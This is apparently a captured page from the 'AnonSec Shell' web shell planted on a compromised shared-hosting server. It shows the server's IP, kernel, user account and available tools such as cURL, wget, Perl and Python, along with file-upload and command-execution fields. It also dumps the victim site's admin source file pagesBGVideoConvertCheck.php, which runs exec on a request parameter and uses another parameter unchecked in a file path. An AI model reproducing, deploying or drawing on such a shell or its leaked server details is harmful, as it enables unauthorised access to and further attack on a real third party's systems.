AnonSec Shell
Server IP : 149.202.105.228  /  Your IP : 216.73.216.18
Web Server : Apache
System : Linux webm129.cluster030.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : atfycaf ( 116275)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/atfycaf/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/atfycaf/www/admin/pagesBGVideoConvertCheck.php
<?php
error_reporting(E_ALL);
ini_set("display_errors", 1);

header('Content-Type: application/json');

//ob_start();

include "globalVars.php";

$pathToPHP	= "/opt/plesk/php/7.4/bin/php";
//$pathToPHP	= "php";

if (isset($_GET["pU"])) {
	$fileTMP	= $SERVER_ROOT ."/admin/files/". $_GET["pU"];
	if (file_exists($fileTMP)) {
		$videoURL		= $url ."admin/files/". $_GET["pU"];
		$randVar		= mt_rand(1,99999999);
		$displayURL		= $url ."images/pagesBG/video-$randVar.mp4";
		$lockFile		= $SERVER_ROOT ."/images/pagesBG/lock-$randVar.txt";
		$dateLocked		= date("g:i:sa l jS F, Y");
		$stringData		= "LOCKED: $dateLocked\n";
		$fh				= fopen($lockFile, 'w');

		$returnJSON	= array(
								"response" => "The video has been uploaded and is now being cropped and converted to a global format ensuring it displays on most browsers. Please be patient as this may take a while...",
								"videoURL" => $randVar);

		/////	RUN THE EXEC COMMAND TO SEND IT TO THE CONVERT SCRIPT	\\\\\
		$videoID		= escapeshellarg($randVar);
		$videoURL		= escapeshellarg($_GET["pU"]);
		$convertScript	= $SERVER_ROOT ."/admin/pagesBGVideoConvert.php";
		exec("nohup $pathToPHP $convertScript $videoID $videoURL > /dev/null &");

		$stringData		.= "nohup $pathToPHP $convertScript $videoID $videoURL > /dev/null &";

		fwrite($fh, $stringData);
		fclose($fh);

		echo json_encode($returnJSON);

	}
} elseif (isset($_GET["cC"])) {
	$fileRV		= $_GET["rV"];
	$lockFile	= $SERVER_ROOT ."/images/pagesBG/lock-$fileRV.txt";
	$displayURL	= $url ."images/pagesBG/video-$fileRV.mp4";
	$randVar	= mt_rand(1,99999999);
	$currTime	= date("H:i:s");

	$msgArray		= array(
								"Still converting. Please be patient...", 
								"Whoa, that's a big one. Please be patient...", 
								"Working the magic. Please be patient...", 
								"The wait will be worth it. Please be patient..."
							);
	$responseRand	= mt_rand(0,3);
	$toSend			= $msgArray[$responseRand];

	if (file_exists($lockFile)) {
		$returnJSON	= array(
								"name"			=> "LOCKED", 
								"jsonText"		=> "<strong>$currTime</strong> - $toSend"
							);
	} else {
		$returnJSON	= array(
								"name"			=> "video-$fileRV.mp4", 
								"size"			=> "1920x630", 
								"url"			=> $displayURL ."?rV=". $randVar, 
								"thumbnailUrl"	=> $displayURL ."?rV=". $randVar, 
								"deleteUrl"		=> "photoAlbumUploadDel.php", 
								"deleteType"	=> "DELETE"
							);
	}

	echo json_encode($returnJSON);

}
?>

Anon7 - 2022
AnonSec Team